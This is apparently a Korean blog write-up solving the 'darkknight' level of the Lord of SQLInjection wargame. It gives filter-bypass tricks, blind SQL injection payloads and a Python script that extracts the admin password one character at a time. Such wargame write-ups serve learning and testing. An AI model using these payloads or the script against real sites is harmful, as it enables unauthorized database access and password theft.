ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [LOS] darkknight
    Wargame/Lord of SQLInjection 2019. 7. 5. 02:29

    [darkknight] https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php

    admin의 pw를 알아내는 Blind SQL Injection 문제이다.

     no의 값이 Injection point이다.

     

    [ ' 우회 ]
    ", `, hex, binary, char()

    [ ascii() 우회 ]
    ord()

     

    ?no=0 or true

    ?no=0 or length(pw) like 8

    ?no=0 or id like "admin" and true로 해야하는 줄 알았으나,

    length(pw)=8을 해보면 'Hello admin'이 출력된다.

     

    데이터베이스에 guest의 no가 높아 true 일때는 guest가 출력되는 것 같고,

    admin의 pw와 guest의 pw가 다르기 때문에

    guest의 pw이면 'Hello guest'가, admin의 pw이면 'Hello admin'이 출력되는 것 같다.

     

    따라서, 'Hello admin'으로 판단하면 admin의 pw를 구할 수 있을 것이다.

     

    1. pw 길이
    ?pw=' || length(pw) < n#
    ?pw=' || length(pw) like n#

    2. pw 값
    ?no=0 || pw like "a%"
    ?no=0 || right(left(pw, n), 1) like “[0 - 9], [a - z]"
    ?no=0 || mid(pw, n, 1) like “[0 - 9], [a - z]”
    ?no=0 || ord(right(left(pw, n), 1)) like 97
    ?no=0 || ord(mid(pw, n, 1)) like 97

     

    python을 이용하여 pw를 찾아보았다.

     

    [ 소스 코드 ]

    #!/usr/bin/env python
    # -*- coding: utf8 -*-
      
    import requests
    
    headers = {'Cookie': 'PHPSESSID=dkbulkcv0mngs04ordrl47hgd3;'}
    url = "https://los.rubiya.kr/chall/darkknight_5cfbc71e68e09f1b039a8204d1a81456.php"
    string = "1234567890abcdefghijklmnopqrstuvwxyz"
    
    pw = ''
    len = 1
    
    while True:
    	data = "?no=0 or length(pw) < " + str(len)
    	r = requests.get(url + data, headers = headers)
    	if r.text.find('Hello admin') != -1 :
    		break
    	len += 1
    print "[+] Get Password Length : ", len - 1
    
    for i in range(1, len + 1):
    	for j in range(48, 123):
    		if 58 <= j <= 96: continue
    		data = "?no=0 || ord(right(left(pw," + str(i) + "), 1)) like " + str(j)
    		r = requests.get(url + data, headers = headers)
    		if r.text.find('Hello admin') != -1 :
    			pw = pw + chr(j)
    			print "[*] Finding ... : ",pw
    			break
    	
    print "[+] Found Password : ", pw

    [ 실행 결과 ]

     

    pw : 0b70ea1f

     

    ?pw=0b70ea1f

    아까 예상했던것이 맞는지 guest의 pw도 찾아보았다.

    guest의 pw 길이는 20이다.

     

    guest의 pw는 'dfjiasjf34567jil35422'이다.

     

    guest의 pw도 찾아지는 것을 보니 아까 예상했던 것이 맞는 것 같다.

     

    위와 같이 id="admin" 없이 찾아도 올바른 값이 찾아지지만,

    혹시라도 admin pw의 4번째 문자와 guest pw의 4번째 문자가 같으면

    'Hello guest'가 출력되어 올바른 pw를 찾을 수 없다.

     

    따라서,

    ?no=0 or id like "admin" and ord(right(left(pw, n), 1)) like 97

    같은 구문을 이용하는 것이 더 정확하다.

    'Wargame > Lord of SQLInjection' 카테고리의 다른 글

    [LOS] giant  (0) 2019.07.05
    [LOS] bugbear  (0) 2019.07.05
    [LOS] golem  (0) 2019.07.05
    [LOS] skeleton  (0) 2019.07.05
    [LOS] vampire  (0) 2019.07.05

    댓글

@Jo Grini's Blog